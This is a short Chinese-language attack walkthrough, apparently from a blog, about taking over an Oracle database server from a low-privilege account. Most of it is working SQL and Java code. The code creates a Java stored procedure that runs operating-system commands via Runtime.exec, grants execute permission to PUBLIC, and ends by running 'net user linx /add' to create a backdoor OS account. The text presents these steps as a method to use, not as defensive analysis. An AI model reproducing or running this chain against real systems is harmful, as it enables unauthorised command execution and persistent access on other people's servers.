连接上oracle服务器,此时发现:
1.连接后不是dba权限
2.不能利用SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES漏洞提升权限
3.运行SELECT UTL_HTTP.request('http://域名/login.jsp') FROM dual 后发现oracle服务器不能连接网络。
幸运的是,运行
create or replace function Linx_Query (p varchar2) return number authid current_user is begin execute immediate p; return 1;end; 成功!这个用户具有create proceduce权限。
此时马上想到创建java扩展执行命令:
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+" ";myReader.close();return str;} catch (Exception e){return e.toString();}}}
begin dbms_java.grant_permission('PUBLIC', 'SYS:java.io.FilePermission', '<>', 'execute' );end;
create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name 'LinxUtil.runCMD(java.lang.String) return String'
select * from all_objects where object_name like '%LINX%'
grant all on LinxRunCMD to public
select LinxRunCMD('cmd /c net user linx /add') from dual |
|